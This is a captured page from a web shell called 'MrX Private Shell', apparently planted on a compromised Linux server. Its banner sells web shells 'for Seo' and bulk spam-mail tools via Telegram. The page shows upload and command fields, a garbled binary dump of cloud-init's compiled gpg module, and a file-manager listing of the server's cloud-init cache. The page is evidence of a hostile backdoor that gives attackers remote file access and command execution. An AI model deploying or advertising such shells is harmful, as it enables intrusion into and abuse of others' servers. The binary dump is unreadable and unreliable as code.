__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h����SrSSKrSSKrSSKrSSKrSSKrSSKJr SSKJ	r	J
r
 SSKJr \R"\5rSr"SS5rg)	z0gpg.py - Collection of gpg key related functions�N)�TemporaryDirectory)�Dict�Optional)�subp�	GNUPGHOMEc���\rSrSrSrSr\S\\\44Sj5r	Sr
SSjrS	\S\\4S
jr
S	\S\4SjrSS\S\4S
jjrSS	\S\SS4SjjrS	\SS4SjrSS\S\S\\4SjjrSSjrSrg)�GPG�c�>�SUl0Ul[5Ulg)NF)�gpg_started�_envr�temp_dir��selfs �//usr/lib/python3/dist-packages/cloudinit/gpg.py�__init__�GPG.__init__s�� �����	�*�,��
�c��U$�N�rs r�	__enter__�
GPG.__enter__s���r�returnc��UR(aUR$SUl[URR0UlUR$)z�when this env property gets invoked, set up our temporary
directory, and also set gpg_started to tell the cleanup()
method whether or not

why put this here and not in __init__? pytest seems unhappy
and it's not obvious how to work around it
T)r
r�HOMEr�namers r�env�GPG.env"s=���9�9��9�9������4�=�=�-�-�.��	��y�y�rc�$�UR5 gr)�cleanup)r�exc_typ�	exc_value�	tracebacks    r�__exit__�GPG.__exit__1s�����rNc���UR5 UR(aT[RR	URR
5(aURR
5 ggg)z0cleanup the gpg temporary directory and kill gpgN)�kill_gpgr�os�path�isdirrr!rs rr!�GPG.cleanup4sE���
�
���=�=�R�W�W�]�]�4�=�=�+=�+=�>�>��M�M�!�!�#�?�=r�keyc���[R"SSSU/SURS9R$![Ra n[RSX5 SnAgSnAff=f)z*Export gpg key, armoured key gets returned�gpgz--exportz--armourT��capture�
update_env�&Failed to export armoured key "%s": %sN)rr�stdout�ProcessExecutionError�LOG�debug�rr-�errors   r�
export_armour�GPG.export_armour:se��	L��9�9��
�J��4���8�8���f�	
��
�)�)�	L��I�I�>��K�K���	L�s�-0�A$�A�A$c�\�[R"SS/USURS9R$)zvDearmor gpg key, dearmored key gets returned

note: man gpg(1) makes no mention of an --armour spelling, only --armor
r/z	--dearmorF)�data�decoder2)rrr4)rr-s  r�dearmor�GPG.dearmorGs,��
�y�y�
�K� �s�5�T�X�X�
�
�&�	r�key_filec���/SQnU(dURS5 URU5 [R"X0RSS9upEU(a[R	SX5 U$)z�List keys from a keyring with fingerprints. Default to a
stable machine parseable format.

@param key_file: a string containing a filepath to a key
@param human_output: return output intended for human parsing
)r/z--no-optionsz--with-fingerprintz--no-default-keyringz--list-keysz	--keyringz
--with-colonsT)r2r1r3)�appendrrr6�warning)rrA�human_output�cmdr4�stderrs      r�	list_keys�
GPG.list_keysPsW��
����J�J��'��
�
�8�����3�8�8�T�J�����K�K�8�(�
��
r�	keyserverc��[RSX5 SnSn[U=(d /5nUS-
n[R"SSSU-S	U/SURS
9 [RSUUU5 g![R
anUnSnAOSnAff=f[
U5n[RSURU5 [R"U5 O#![an[S
XXE4-5UeSnAff=fM�)a�Receive gpg key from the specified keyserver.

Retries are done by default because keyservers can be unreliable.
Additionally, there is no way to determine the difference between
a non-existent key and a failure.  In both cases gpg (at least 2.2.4)
exits with status 2 and stderr: "keyserver receive failed: No data"
It is assumed that a key provided to cloud-init exists on the keyserver
so re-trying makes better sense than failing.

@param key: a string key fingerprint (as passed to gpg --recv-keys).
@param keyserver: the keyserver to request keys from.
@param retries: an iterable of sleep lengths for retries.
Use None to indicate no retries.z&Importing key '%s' from keyserver '%s'rNT�r/z--no-ttyz--keyserver=%sz--recv-keysr0z/Imported key '%s' from keyserver '%s' on try %dz6Import failed with exit code %d, will try again in %ssz@Failed to import key '%s' from keyserver '%s' after %d tries: %s)r6r7�iterrrr5�next�	exit_code�time�sleep�
StopIteration�
ValueError)	rr-rJ�retries�trynumr9�sleeps�e�naplens	         r�recv_key�GPG.recv_keyjs��	�	�	�:�C�K������g�m��$����a�K�F�
��	�	��"�(�9�4�%���!�#�x�x�
��	�	�E����	����-�-�
����
��
��f����	�	�L��O�O���
�
�
�6�"�� �
� �)�,/�F�+J�K�����
��?s1�AA7�7B�B�B�AC�
C>�(C9�9C>c��[R"SSSSU/SURS9 g![Ra n[R	SX5 SnAgSnAff=f)	z0Delete the specified key from the local gpg ringr/z--batchz--yesz
--delete-keysTr0zFailed delete key "%s": %sN)rrr5r6rDr8s   r�
delete_key�GPG.delete_key�sX��	B��I�I��	�7�O�S�A���8�8�
��
�)�)�	B��K�K�4�c�A�A��	B�s�%(�A�A�A�keyidc��URU5nU(d5URXS9 URU5nURU5 U$U$![a [R	SU5 ef=f!URU5 f=f)zget gpg keyid from keyserver)rJzFailed to obtain gpg key %s)r:rYrSr6�	exceptionr\)rr^rJ�armours    r�
getkeybyid�GPG.getkeybyid�s����#�#�E�*���	
'��
�
�e�
�9��+�+�E�2������&��
�v�
���
��
�
�;�U�C��
������&�s� A�"A2�2A5�5Bc��UR(dg[R"S5(a-[R"/SQSURS9Rng[R"/SQSSS/S	9Rn[
R"S
U5nUVs/sHo3SS:XdM
[US5PM nnU(a[RSU5 UH(n[R"U[R5 M* gs snf![Ra n[RS
U5 SnAgSnAff=f)z�killing with gpgconf is best practice, but when it isn't available
failover is possible

GH: 4344 - stop gpg-agent/dirmgr daemons spawned by gpg
key imports. Daemons spawned by cloud-config.service on systemd
v253 report (running)
N�gpgconf)rez--kill�allTr0)	�psz-ozppid,pid�-C�keyboxdrh�dirmngrrhz	gpg-agentrrL)r1�rcsz(?P<ppid>\d+)\s+(?P<pid>\d+)�1z&Killing gpg-agent and dirmngr pids: %sz"Failed to clean up gpg process: %s)rr�whichrr4�re�findall�intr6r7r)�kill�signal�SIGKILLr5rD)r�gpg_process_out�gpg_pids�pid�
root_gpg_pids�gpg_pidrWs       rr(�GPG.kill_gpg�s��&	A��#�#���z�z�)�$�$�"&�)�)�0� �#�x�x�#��&�	 �#'�)�)�
�!��A��#��&� ��:�:�3�_���,4�!�+3�C�1�v��}�K�C��A��K�8��!�!��I�I�@�-�� -�G��G�G�G�V�^�^�4� -��!���)�)�	A��K�K�<�a�@�@��	A�s<�D�AD�?D�D�+D�=A
D�D�E�$D?�?E)r
rr)rN)F))rLrL)zkeyserver.ubuntu.com)�__name__�
__module__�__qualname__�__firstlineno__rr�propertyr�strrr%r!rr:r?rHrYr\rbr(�__static_attributes__rrrr	r	s���-�
���T�#�s�(�^�����$�����#����3��3���#��c��45�C�5�C�5�D�5�n	B�c�	B�d�	B�,B����%(��	�#���$.Arr	)�__doc__�loggingr)rnrrrP�tempfiler�typingrr�	cloudinitr�	getLoggerrzr6rr	rrr�<module>r�sE��7��	�	�
��'�!��
����!����SA�SAr

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 149 B 0644
apport.cpython-313.pyc File 9.96 KB 0644
atomic_helper.cpython-313.pyc File 4.39 KB 0644
cloud.cpython-313.pyc File 4.96 KB 0644
dmi.cpython-313.pyc File 9.85 KB 0644
event.cpython-313.pyc File 2.56 KB 0644
features.cpython-313.pyc File 1.85 KB 0644
gpg.cpython-313.pyc File 9.41 KB 0644
helpers.cpython-313.pyc File 21.72 KB 0644
importer.cpython-313.pyc File 2.82 KB 0644
lifecycle.cpython-313.pyc File 10.41 KB 0644
netinfo.cpython-313.pyc File 24.76 KB 0644
performance.cpython-313.pyc File 4.42 KB 0644
persistence.cpython-313.pyc File 3.04 KB 0644
registry.cpython-313.pyc File 1.86 KB 0644
safeyaml.cpython-313.pyc File 12.13 KB 0644
settings.cpython-313.pyc File 1.25 KB 0644
signal_handler.cpython-313.pyc File 5.39 KB 0644
simpletable.cpython-313.pyc File 3.36 KB 0644
socket.cpython-313.pyc File 7.08 KB 0644
ssh_util.cpython-313.pyc File 25.03 KB 0644
stages.cpython-313.pyc File 47.25 KB 0644
subp.cpython-313.pyc File 15.1 KB 0644
temp_utils.cpython-313.pyc File 3.96 KB 0644
templater.cpython-313.pyc File 9.34 KB 0644
type_utils.cpython-313.pyc File 755 B 0644
url_helper.cpython-313.pyc File 43.18 KB 0644
user_data.cpython-313.pyc File 13.78 KB 0644
util.cpython-313.pyc File 111.33 KB 0644
version.cpython-313.pyc File 576 B 0644
warnings.cpython-313.pyc File 4.48 KB 0644
Filemanager